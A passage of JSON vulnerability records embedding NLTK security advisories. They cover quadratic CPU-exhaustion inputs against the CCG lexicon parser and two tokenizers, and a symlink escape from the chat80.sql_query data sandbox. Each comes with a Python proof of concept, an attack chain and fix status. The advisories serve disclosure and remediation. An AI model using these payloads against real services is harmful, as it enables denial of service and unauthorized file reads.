be driven into tens of seconds of single-threaded CPU by a few-megabyte input, starving the request worker. No authentication or user interaction is required.\n\n## Root Cause\n\n`matchBrackets` consumes a bracket body one character at a time with `inside = inside + rest[0]; rest = rest[1:]`. The `rest = rest[1:]` tail re-slice copies the entire remaining string on every iteration, so a flat bracket body costs O(n^2). `augParseCategory` drives a `while rest != \"\":` operator loop that re-copies the regular-expression match tail (`rest = app[3]`) once per operator, which is also O(n^2) over a long operator chain. The parser carries a recursion-depth guard (`MAX_PARSE_DEPTH = 500`) that raises on deeply nested categories, but both quadratic loops run on flat input whose nesting depth stays at zero, so that guard never fires. No bound is applied to line length or category width before the text reaches these loops.\n\n```text\nAffected functions:\n- nltk.ccg.lexicon.matchBrackets       (nltk/ccg/lexicon.py:149-172; tail re-slice at line 168)\n- nltk.ccg.lexicon.augParseCategory    (nltk/ccg/lexicon.py:223-268; APP_RE tail re-copy at line 250)\nPublic entry point: nltk.ccg.lexicon.fromstring (nltk/ccg/lexicon.py:271), also re-exported as nltk.ccg.chart.fromstring.\n```\n\n## Impact\n\nAn attacker who can influence the CCG lexicon string parsed by an application causes sustained single-threaded CPU consumption (availability loss). The vulnerable path is network-reachable (AV:N) and needs no privileges or user interaction (PR:N, UI:N). Because the cost grows quadratically with attacker-chosen input size, a few-megabyte payload costs tens of seconds per core, and a small number of concurrent requests can exhaust worker threads. Confidentiality and integrity are not affected. The NLTK regular-expression wall-clock timeout wraps regex matching only; it does not wrap these pure-Python slicing loops, so it provides no protection here.\n\n## Proof of Concept\n\n```text\nEnvironment: nltk 3.10.3, regex 2026.9.10, CPython. Run the parser on the shipped public API.\n```\n\n```python\nimport nltk.ccg.lexicon as L\n\n# Vector A: flat bracket body -> matchBrackets tail re-slice is O(n^2)\nn = 400000\nlex_a = \":- S\\nw => (\" + \"a\" * n + \")\\n\"\n\n# Vector B: long operator chain -> augParseCategory tail re-copy is O(n^2)\nm = 32000\nlex_b = \":- a\\nw => \" + \"a\" + \"/a\" * m + \"\\n\"\n\nimport time\nfor name, s in ((\"A\", lex_a), (\"B\", lex_b)):\n    t = time.perf_counter()\n    try:\n        L.fromstring(s)\n    except Exception:\n        pass  # downstream parse error is irrelevant; the CPU is already burned\n    print(name, round(time.perf_counter() - t, 3), \"s\")\n```\n\n```text\nNegative control (\":- a\\nw => (a/a)\"):   ~0.00007 s\nVector A (matchBrackets, flat body):     n=50k 0.078s | 100k 0.260s | 200k 1.046s | 400k 2.083s   (~4x per doubling => O(n^2))\nVector B (augParseCategory, operators):  m=4k 0.078s | 8k 0.215s | 16k 0.485s | 32k 1.329s        (super-linear)\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls the public `nltk.ccg.lexicon.fromstring(lex_str)` (also reachable as `nltk.ccg.chart.fromstring`) on lexicon text the attacker can influence.\n2. **Control:** The attacker fully controls the body width (a run of characters inside one bracket) and the operator-chain length; neither is capped by `fromstring`.\n3. **Path:** `fromstring` splits input into lines and routes each category through `nextCategory`, which dispatches to `matchBrackets` (Vector A) or into the `augParseCategory` operator loop (Vector B).\n4. **Guard:** The only relevant guard is the `MAX_PARSE_DEPTH = 500` recursion-depth check. On flat input the recursion depth is zero, so `if _depth > max_depth` is never reached; the width loops run unbounded.\n5. **Primitive:** The tail re-slice `rest = rest[1:]` and tail re-copy `rest = app[3]` execute a quadratic number of string copies.\n6. **Result:** Sustained single-core CPU exhaustion; a few-megabyte lexicon costs tens of seconds and scales quadratically, blocking the parsing thread.\n\n## Bypass Evidence\n\nThe one protection present on this path is the recursion-depth guard `MAX_PARSE_DEPTH = 500` (nltk/ccg/lexicon.py:22), checked at lexicon.py:153 and lexicon.py:228. It defends only against nesting depth and raises a bounded `ValueError` for deeply nested categories. The quadratic payloads here are flat: a single bracket body or a single operator run has nesting depth zero to one, so the depth check provably never fires while the width loops consume quadratic time. This was confirmed by running the shipped parser: the payloads complete without a `ValueError` or a regex `TimeoutError` while consuming quadratic CPU (Vector A shows a clean 4x cost per input doubling). A repository search finds no line-length or category-width cap anywhere on the `fromstring` path; the regex source-length limit bounds regex patterns, not lexicon text. The strongest disproof attempt (that CPython in-place string concatenation makes Vector A linear) fails because `rest = rest[1:]` is an unconditional copy of the remaining input that the concatenation fast path cannot elide, and the measured 4x-per-doubling ratio confirms the quadratic empirically.\n\n## Affected Versions\n\n- `Ecosystem: PyPI (pip)`\n- `Package: nltk`\n- `Confirmed affected range: <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI, https://pypi.org/pypi/nltk/json)`\n- `Fix status: 3.10.4`\n\nThe width-slicing loops ship in every release carrying the CCG lexicon parser and are present in the current latest published release, 3.10.3. The lower boundary was not bisected, so the introducing version is left open; the behavior long predates the recent regular-expression and recursion-depth hardening.\n\n## Suggested Fix\n\nScan the bracket body and the operator chain with an index cursor into the original string (or a `collections.deque`) instead of repeatedly re-slicing or re-copying the tail, so each character is handled in constant amortized time. As defense in depth, impose an explicit bound on lexicon line length and category width at the `fromstring` chokepoint and raise a bounded error when it is exceeded, mirroring the existing depth guard. No configuration-only mitigation fully removes the exposure for a service that must parse untrusted lexicons; until a fix ships, callers should cap the size of accepted lexicon input and parse it under a CPU or time budget in an isolated worker.\n\nReported by zx (GitHub: @manus-pi).\n\n\n## Fix status\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured).\n\nFix commit: cf12a5e6a (nltk/ccg/lexicon.py: matchBrackets, nextCategory and augParseCategory thread a cursor instead of re-slicing the tail; the trailing capture group is dropped; MAX_PARSE_LEN=100000 caps the input).\n\nProbe: nltk/test/unit/security_probes/ghsa_89p3_fcch_88ph.py (on the PR). Verdict on the PR head: FIXED (scaling 4.4x over a 4x input; an over-cap chain is rejected by MAX_PARSE_LEN). The advisory PoC re-run on develop 2fa3f48fe: vector A (bracket body, 100k vs 400k) 15.8x and vector B (operator chain, 8k vs 32k) 11.3x over a 4x input, so develop is still VULNERABLE.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-89p3-fcch-88ph"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126299"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3944"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0bb5b947bd235b950cf2f90e893a498e16da0fe3"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/cf12a5e6a"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.4-quadratic-time-denial-of-service-via-ccg-lexicon-fromstring"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126300","published":"2026-11-14T09:40:04Z","modified":"2026-11-14T09:40:04Z","upstream":["GHSA-ffr9-mgrr-wcvr","CVE-2026-126300"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Quadratic CPU exhaustion in TreebankWordTokenizer.span_tokenize via list.pop(0) in quote-restore loop","details":"## Summary\n\n`TreebankWordTokenizer.span_tokenize` in the NLTK tokenizer package contains an unguarded O(n^2) processing loop in its quote-restoration step. When the method is invoked on text containing a long run of double-quote characters (for example `'\"' * n`), it performs a `list.pop(0)` operation once per quote token, and because `list.pop(0)` is O(length), the total cost grows with the square of the input length. An attacker who can supply untrusted text to this public span-tokenization API can force a single request to saturate one CPU core for a prolonged period, degrading availability. No authentication, special configuration, or user interaction is required.\n\n## Root Cause\n\nInside `span_tokenize`, when the input contains double or repeated quotes, the code builds `matched`, a list with one entry per quote occurrence, and then reconstructs tokens in a comprehension that calls `matched.pop(0)` for each token that is a quote. Removing the first element of a Python list is an O(len(list)) operation because all remaining elements are shifted. For an all-quote input the tokenizer produces n quote tokens and `matched` has n entries, so `pop(0)` is called n times, each time on a list of shrinking but still linear length, giving cumulative O(n^2) CPU work. The violated invariant is bounded per-input work: there is no length cap on `span_tokenize` or the underlying `tokenize`, so untrusted input length translates into quadratic processing time. The neighboring `align_tokens` call is linear and is not the quadratic term.\n\n```text\nAffected function: TreebankWordTokenizer.span_tokenize\nSource: nltk/tokenize/treebank.py\n  - branch selector at line 203\n  - matched list built at line 205\n  - quadratic sink matched.pop(0) at line 209\n  - linear align_tokens call at line 215\n```\n\n## Impact\n\nAn attacker who controls text passed to `TreebankWordTokenizer.span_tokenize` can trigger quadratic CPU work. In the reviewed release, an all-quote input of 128,000 characters takes about 1.76 seconds and 256,000 characters about 6.57 seconds on a single core, with cost growing as the square of the length. Memory use is linear. The demonstrated capability is single-core CPU exhaustion producing denial of service or latency degradation in any network-reachable component that uses span tokenization on untrusted input, such as offset, annotation, or highlighting pipelines. There is no confidentiality or integrity impact. The plausible operational consequence, where multiple concurrent requests are used, is worker-pool exhaustion; this is inferred from the measured per-request cost and was not executed against a live deployment.\n\n## Proof of Concept\n\n`Requires only the released nltk package; no corpus download is needed.`\n\n1. Instantiate `TreebankWordTokenizer`.\n2. Call `span_tokenize` on an all-double-quote string of increasing length and time each call.\n3. Compare against an equal-token-count control input that avoids the quote branch.\n\n```python\nimport time\nfrom nltk.tokenize import TreebankWordTokenizer\n\ntok = TreebankWordTokenizer()\nfor n in (32000, 64000, 128000, 256000):\n    payload = '\"' * n\n    start = time.perf_counter()\n    list(tok.span_tokenize(payload))\n    print(\"quote-run\", n, round(time.perf_counter() - start, 3))\n\ncontrol = \"a \" * 128000  # comparable token count, avoids the pop(0) branch\nstart = time.perf_counter()\nlist(tok.span_tokenize(control))\nprint(\"control\", round(time.perf_counter() - start, 3))\n```\n\n```text\nquote-run 32000 0.23\nquote-run 64000 0.52\nquote-run 128000 1.76\nquote-run 256000 6.57   (about 4x per doubling => O(n^2))\ncontrol 0.16            (roughly 11x faster, isolates pop(0))\n```\n\n## Attack Chain\n\n1. **Exposure:** `TreebankWordTokenizer` is exported from `nltk.tokenize` and `span_tokenize` is a public, documented method reachable by any service that span-tokenizes untrusted text.\n2. **Control:** The attacker fully controls the `text` argument; a run of double-quote characters such as `'\"' * n` survives to the quote branch unchanged.\n3. **Path:** The branch selector at line 203 (`'\"' in text` or `\"''\" in text`) is satisfied by the payload, entering the vulnerable branch; `matched` is built at line 205 with n entries and the reconstruction comprehension runs at line 209.\n4. **Guard:** There is no length cap on `span_tokenize` or `tokenize`. The regex timeout backstop in `nltk/redos.py` only wraps regular-expression operations and does not cover the pure-Python `list.pop(0)` sink; a 256,000-character input ran to completion in 6.57 seconds with no timeout raised.\n5. **Primitive:** `matched.pop(0)` executed once per quote token, each call O(len(matched)), yields cumulative O(n^2) CPU work.\n6. **Result:** A single request with a large quote-run input exhausts one CPU core for a sustained period, degrading service availability.\n\n## Bypass Evidence\n\nNo guard blocks this path. Direct inspection found no `MAX_TOKEN_LEN` or length check in `nltk/tokenize/treebank.py`, in contrast to the sibling `sonority_sequencing.py` which does cap token length. The strongest refutations were attempted and failed: (1) the hypothesis that `tokenize` collapses repeated quotes so few `pop(0)` calls occur was disproven by observing that `tokenize('\"' * n)` yields exactly n quote tokens and timing showing about 4x growth per doubling, while an equal-token-count non-quote control ran roughly 11x faster; (2) the hypothesis that the project regex-timeout backstop already caps this cost was disproven by running a 256,000-character input to normal completion in 6.57 seconds with no `TimeoutError`, confirming the backstop wraps only regex operations and not `list.pop(0)`; (3) the hypothesis that this line was already audited was disproven, since the project quadratic-DoS test suite explicitly clears the neighboring `align_tokens` line reached through `span_tokenize` but contains no test for the `pop(0)` loop, an audited-neighbor pattern where the adjacent line was checked and this one was missed. The seed remediation touched a different module and no advisory covers this sink.\n\n## Affected Versions\n\n- `Ecosystem: pip`\n- `Package: nltk`\n- `Confirmed affected range: >= 3.2.5, <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI)`\n- `Fix status: not fixed`\n\nThe vulnerable `pop(0)` loop is present and unguarded in the current released artifact 3.10.3, verified by direct source inspection and by reproducing the quadratic curve through fresh execution. The lower bound of 3.2.5 reflects when the affected quote-restoration code shipped; the disclosure-relevant fact is that the latest published release is affected and no fix has been released.\n\n## Suggested Fix\n\nReplace the O(n) `list.pop(0)` pattern with an O(1) consumption strategy, for example iterating over `matched` with an index or an iterator, or using `collections.deque` with `popleft()`, so that the quote-restoration step runs in linear time overall. Additionally, consider enforcing a configurable maximum input length in `span_tokenize` consistent with the caps applied to sibling tokenizers, and ensure the fix covers all callers that pass untrusted text. As an interim mitigation, deployments that expose span tokenization of untrusted input can cap request and input sizes at the application boundary to bound the worst-case length.\n\nReported by zx (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nTwo pull requests carry a fix.\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commit: cf12a5e6a (the quote-restore loop in tokenize/treebank.py and tokenize/destructive.py iterates forward instead of list.pop(0)).\n\nPR: #3895 \"[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)\", open, head b22ebe144. Fix commit: e20c40e26 \"Bound tokenizer/parser algorithmic DoS (ffr9/gpwc/8fx7)\".\n\nNo probe. The advisory PoC re-run (span_tokenize over 32k and 128k double quotes): #3753 head 3.5x over a 4x input, #3895 head 3.2x, both linear. On develop 2fa3f48fe the 128k run did not finish within 120 s, so develop is still VULNERABLE.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-ffr9-mgrr-wcvr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126300"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3895"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e20c40e26ec9306de885703f6e53250695f1f49b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-from-3.2.5-before-3.10.4-cpu-exhaustion-via-treebankwordtokenizer-span-tokenize"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126301","published":"2026-11-14T09:40:04Z","modified":"2026-11-17T08:58:18Z","upstream":["GHSA-gpwc-27cw-rh9r","CVE-2026-126301"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Quadratic CPU exhaustion in LegalitySyllableTokenizer.tokenize via unguarded onset reversal loop","details":"## Summary\n\n`LegalitySyllableTokenizer.tokenize` in the NLTK tokenizer package contains an unguarded O(n^2) processing loop. When the method is called on a single token that consists of a long run of vowels (for example `\"a\" * n`), it consumes CPU time proportional to the square of the token length. An attacker who can supply an untrusted token to this public tokenizer API can force a single request to saturate one CPU core for a prolonged period, degrading availability of any service that syllabifies attacker-controlled text. No authentication, special configuration, or user interaction is required.\n\n## Root Cause\n\nThe method walks the token in reverse and, on every iteration after the first vowel is seen, evaluates the membership test `char_lower + current_onset[::-1] in self.legal_onsets`. The set `legal_onsets` is built by `onset()`, which returns only the characters up to the first vowel, so every member is vowel-free. For an all-vowel token the first branch can therefore never match, `onset` never becomes `True`, and the reset branch that would clear `current_onset` is never reached. As a result `current_onset` grows by one character on every iteration. Building `current_onset[::-1]` and hashing the resulting string costs O(k) on iteration k, and this is repeated for k from 1 to n, giving total cost O(n^2). The security invariant that is violated is bounded per-token work: there is no length cap on this code path, so untrusted token length translates directly into quadratic CPU consumption.\n\n```text\nAffected function: LegalitySyllableTokenizer.tokenize\nSource: nltk/tokenize/legality_principle.py (membership-test sink at line 133; loop over token[::-1] beginning at line 126)\nHelper establishing the vowel-free onset set: LegalitySyllableTokenizer.onset (nltk/tokenize/legality_principle.py, returns prefix up to first vowel)\n```\n\n## Impact\n\nAn attacker who controls a token passed to `LegalitySyllableTokenizer.tokenize` can trigger quadratic CPU work. In the reviewed release a token of roughly 64,000 vowel characters takes about 1.8 seconds on a single core, and the cost grows with the square of the length, so a token in the hundreds of kilobytes to megabyte range consumes a core for many seconds to minutes. Memory use is linear. The demonstrated capability is single-core CPU exhaustion leading to denial of service or latency degradation in any network-reachable component that syllabifies untrusted input. There is no confidentiality or integrity impact; the effect is availability degradation of the affected process. The plausible operational consequence, where multiple concurrent requests are used, is exhaustion of the available worker pool; this is inferred from the per-request cost and was not itself executed against a live deployment.\n\n## Proof of Concept\n\n`Requires only the released nltk package; no corpus download is needed because the quadratic behavior is driven entirely by the attacker token, not by the size of the legal-onset set.`\n\n1. Construct a tokenizer with any small onset source.\n2. Call `tokenize` with an all-vowel token of increasing length and time each call.\n3. Compare against a consonant-alternating control token of equal length.\n\n```python\nimport time\nfrom nltk.tokenize import LegalitySyllableTokenizer\n\ntok = LegalitySyllableTokenizer(\"tr c d\".split())  # tiny 3-word onset source\nfor n in (8000, 16000, 32000):\n    payload = \"a\" * n\n    start = time.perf_counter()\n    tok.tokenize(payload)\n    print(\"vowel-run\", n, round(time.perf_counter() - start, 3))\n\ncontrol = \"ba\" * 32000  # equal-length linear control\nstart = time.perf_counter()\ntok.tokenize(control)\nprint(\"control\", 64000, round(time.perf_counter() - start, 3))\n```\n\n```text\nvowel-run 8000 0.031\nvowel-run 16000 0.120\nvowel-run 32000 0.468   (about 4x per doubling => O(n^2))\ncontrol 64000 0.004     (linear, roughly 130x faster at larger size)\n```\n\n## Attack Chain\n\n1. **Exposure:** `LegalitySyllableTokenizer` is exported from `nltk.tokenize` and `tokenize` is a public, documented method reachable by any service that syllabifies untrusted text.\n2. **Control:** The attacker fully controls the `token` argument, including its length and character content; a run of vowels such as `\"a\" * n` survives with no normalization or length reduction.\n3. **Path:** The token flows into the reverse walk at `nltk/tokenize/legality_principle.py:126` and reaches the membership-test at line 133 on every iteration past the first vowel.\n4. **Guard:** There is no length cap on this path. The sibling `SyllableTokenizer` received a `MAX_TOKEN_LEN` cap during the project hardening work, but `legality_principle.py` received no such guard.\n5. **Primitive:** Repeated O(k) construction and hashing of `current_onset[::-1]` inside the loop yields cumulative O(n^2) CPU work.\n6. **Result:** A single request with a large vowel-run token exhausts one CPU core for a sustained period, degrading service availability.\n\n## Bypass Evidence\n\nNo guard blocks this path. Membership-set analysis shows the first branch at line 133 cannot fire for a vowel character because `legal_onsets` is provably vowel-free (it is derived from `onset()`, which stops at the first vowel), so `onset` never becomes `True` and `current_onset` is never reset. The strongest refutations were attempted and failed: (1) the hypothesis that the quadratic depends on a large or specific onset corpus was disproven by reproducing the same O(n^2) growth with a three-word onset source, showing the cost is driven solely by the attacker token; (2) the hypothesis that an upstream length cap neutralizes long tokens was disproven by direct source inspection, which found no `MAX_TOKEN_LEN` or equivalent clamp on this class and confirmed the default word-tokenization path does not call this class; (3) the hypothesis that this is covered by existing hardening was disproven, since the project quadratic-DoS test suite exercises the sibling `SyllableTokenizer` but contains no test for `LegalitySyllableTokenizer`, and no commit added a cap to this file. This is a fix-missed sibling of the accepted algorithmic-complexity class, not a previously remediated issue.\n\n## Affected Versions\n\n- `Ecosystem: pip`\n- `Package: nltk`\n- `Confirmed affected range: >= 3.6, <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI)`\n- `Fix status: not fixed`\n\nThe vulnerable loop is present and unguarded in the current released artifact 3.10.3, verified by direct source inspection and by reproducing the quadratic curve. The lower bound of 3.6 reflects when the affected module first shipped; the disclosure-relevant fact is that the latest published release is affected and no fix has been released.\n\n## Suggested Fix\n\nEnforce a bound on per-token work in `LegalitySyllableTokenizer.tokenize`, consistent with the `MAX_TOKEN_LEN` guard already applied to the sibling `SyllableTokenizer`. Options include rejecting or truncating tokens above a configurable maximum length before the reverse walk, or restructuring the onset accumulation so the loop does not repeatedly build and hash a growing reversed string (for example by maintaining the onset in its final orientation and comparing without an O(k) reversal each iteration). The remediation should cover any caller that passes untrusted tokens, not just the default word-tokenization path. As an interim mitigation, deployments that expose syllabification of untrusted input can cap request and token sizes at the application boundary to bound the worst-case token length.\n\nReported by zx (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nPR: #3895 \"[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)\", open, head b22ebe144.\n\nFix commit: e20c40e26 \"Bound tokenizer/parser algorithmic DoS (ffr9/gpwc/8fx7)\" (LegalitySyllableTokenizer.tokenize refuses a token longer than MAX_TOKEN_LEN=4096 with ValueError naming CWE-407).\n\nNo probe. The advisory PoC re-run: on the PR head the 32k vowel token is refused and under the cap the tokenizer scales 0.8x over a 4x input (1k vs 4k); on develop 2fa3f48fe it scales 14.2x over a 4x input (8k 0.087 s, 32k 1.245 s), so develop is still VULNERABLE. The related merged PR #3911 (25beee962) bounds the SyllableTokenizer vowel accumulation, a different tokenizer, and does not cover this sink.\n\nRelease: none.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-gpwc-27cw-rh9r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126301"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3895"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/78781ba4575d536fb1540897f27baca0fb40617c"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e20c40e26ec9306de885703f6e53250695f1f49b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-from-3.6-before-3.10.4-quadratic-cpu-exhaustion-via-legalitysyllabletokenizer-tokenize"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126302","published":"2026-11-17T08:58:18Z","modified":"2026-11-17T08:58:18Z","upstream":["GHSA-xmfg-f9cm-w86q","CVE-2026-126302"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_3"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Symlink escape in chat80.sql_query bypasses the pathsec data-root sandbox to read out-of-root SQLite databases","details":"## Summary\n\n`nltk.sem.chat80.sql_query()` opens a SQLite database by handing the result of `nltk.data.find(dbname)` straight to `sqlite3.connect()` without the path-containment check that the NLTK data sandbox (`nltk.pathsec`) is meant to enforce. `nltk.data.find()` applies only lexical checks to the resource name and returns a `FileSystemPathPointer` whose path is normalized with `os.path.abspath` but never resolved for symlinks. As a result, an in-root symbolic link that points at a SQLite file outside every registered NLTK data root is followed by SQLite, and the caller receives query results from the out-of-sandbox database. An attacker who can place a file inside a directory the application trusts as an NLTK data root can read SQLite databases that the pathsec sandbox is supposed to keep out of reach.\n\n## Root Cause\n\nThe security invariant is that file access performed through NLTK data resolution must stay within the configured data roots; the sandbox enforces this in `nltk.pathsec` via `validate_path` and `pathsec.open`, which resolve the real path (`Path(...).resolve()`) and reject targets outside the allowed roots. `sql_query()` never reaches that enforcement point. It calls `nltk.data.find(dbname)`, whose guards operate purely on the resource-name string, and `FileSystemPathPointer.__init__` performs only `os.path.abspath` plus an existence check, which does not collapse symlinks. The pointer is then passed to `sqlite3.connect(str(path))`, so the containment decision that `FileSystemPathPointer.open()` would delegate to `pathsec.open` is bypassed entirely. The sibling functions in the same module that create or write databases (`cities2table`, `val_dump`, `val_load`) obtain their protection from a validation call in later development, but the read sink `sql_query` performs no equivalent check in any published release.\n\n```text\nnltk/sem/chat80.py  -> sql_query(): path = nltk.data.find(dbname); sqlite3.connect(str(path))\nnltk/data.py        -> find(): lexical name guards only; returns FileSystemPathPointer\nnltk/data.py        -> FileSystemPathPointer.__init__(): os.path.abspath + os.path.exists (no symlink resolution)\nnltk/data.py        -> FileSystemPathPointer.open() -> nltk.pathsec.open (the containment guard that sql_query never calls)\n```\n\n## Impact\n\nAn attacker who can write into a directory the application registers as an NLTK data root (a shared or writable corpus directory, or a downloaded corpus) can plant a symbolic link at the expected resource location that points at a SQLite database elsewhere on the filesystem. When the application invokes `sql_query()` (directly or via `sql_demo()`) for that resource, SQLite follows the link and the query executes against the out-of-sandbox database, returning its rows to the caller. This escapes the pathsec confidentiality boundary. The read primitive is bounded to SQLite-format files that are readable by the process user: a non-SQLite target raises `sqlite3.DatabaseError` rather than leaking content. A caller-supplied write query would be redirected onto the out-of-sandbox target and SQLite may create sidecar files (`-wal`, `-journal`) next to it, which is a plausible integrity side effect rather than a demonstrated arbitrary-write primitive. Exploitation requires the same local write capability into a trusted data root as the related symlink-read sandbox-escape issues already recorded for this project.\n\n## Proof of Concept\n\n`Requires the published nltk 3.10.3 wheel and a writable directory registered as an NLTK data root. No network access is needed.`\n\n1. Create a throwaway data root with the expected corpus subdirectory.\n2. Create a SQLite database outside that root and populate it.\n3. Plant an in-root symbolic link at `corpora/city_database/city.db` pointing at the outside database.\n4. Register the data root and call `sql_query()` for the in-root resource name.\n\n```python\nimport os, tempfile, sqlite3, nltk, nltk.data\nfrom nltk.sem import chat80\n\nwork = tempfile.mkdtemp()\nroot = os.path.join(work, \"nltk_data\")\ncorp = os.path.join(root, \"corpora\", \"city_database\")\nos.makedirs(corp)\n\nsecret = os.path.join(work, \"outside\", \"secret.db\")\nos.makedirs(os.path.dirname(secret))\ncon = sqlite3.connect(secret)\ncon.execute(\"CREATE TABLE t (x text)\")\ncon.execute(\"INSERT INTO t VALUES ('OUT-OF-SANDBOX-SECRET')\")\ncon.commit(); con.close()\n\nos.symlink(secret, os.path.join(corp, \"city.db\"))\nnltk.data.path.insert(0, root)\n\nptr = nltk.data.find(\"corpora/city_database/city.db\")\ntry:\n    ptr.open().read()            # pathsec route: blocked\nexcept Exception as e:\n    print(\"open() blocked:\", type(e).__name__)\n\ncur = chat80.sql_query(\"corpora/city_database/city.db\", \"SELECT * FROM t\")\nprint(\"sql_query rows:\", cur.fetchall())   # sink route: follows the symlink\n```\n\n```text\nopen() blocked: PermissionError\nsql_query rows: [('OUT-OF-SANDBOX-SECRET',)]\n```\n\n## Attack Chain\n\n1. **Exposure:** The application exposes `sql_query()` (or `sql_demo()`, which calls it) and resolves the target database through `nltk.data.find`, using at least one directory the attacker can write to as a data root.\n2. **Control:** The attacker controls the on-disk object at the in-root resource path, replacing it with a symbolic link whose target is chosen freely. The resource-name argument stays a clean, in-root string.\n3. **Path:** `nltk.data.find` applies its lexical name guards (`_UNSAFE_NO_PROTOCOL_RE`, encoded and normalized-form checks), which inspect only the name string and pass, then returns a `FileSystemPathPointer` whose `__init__` applies `os.path.abspath` and an existence check without resolving the symlink.\n4. **Guard:** The containment guard (`FileSystemPathPointer.open()` delegating to `nltk.pathsec.open`, which resolves the real path and rejects out-of-root targets) is never invoked, because `sql_query()` passes the raw pointer string to `sqlite3.connect()` instead of opening through the pointer.\n5. **Primitive:** `sqlite3.connect(str(path))` opens the symlink target; the kernel follows the link out of every data root and the cursor executes the query against the outside database.\n6. **Result:** Rows from a SQLite database outside the sandbox are returned to the caller, escaping the pathsec confidentiality boundary for SQLite-format files readable by the process user.\n\n## Bypass Evidence\n\nThe relevant guard is the pathsec containment enforced by `nltk.pathsec.open`/`validate_path`, reached through `FileSystemPathPointer.open()`. On an identical pointer produced from the planted symlink, `ptr.open()` raises `PermissionError` with an \"Unauthorized path\" security violation, confirming the guard is active and correct for the sandbox route. `sql_query()` does not call `.open()` and does not call `validate_path`; it passes the unresolved pointer string directly to `sqlite3.connect()`, so the guard never runs on this path and the read succeeds. Attempts to invalidate the finding were made and failed: `nltk.data.find` was checked for a hidden containment or real-path resolution and has none (its guards are name-string only, and `FileSystemPathPointer.__init__` uses `abspath`, not `realpath`); SQLite was confirmed to follow the link and read the outside file rather than opening the link node; and the possibility that an existing published fix already covers this 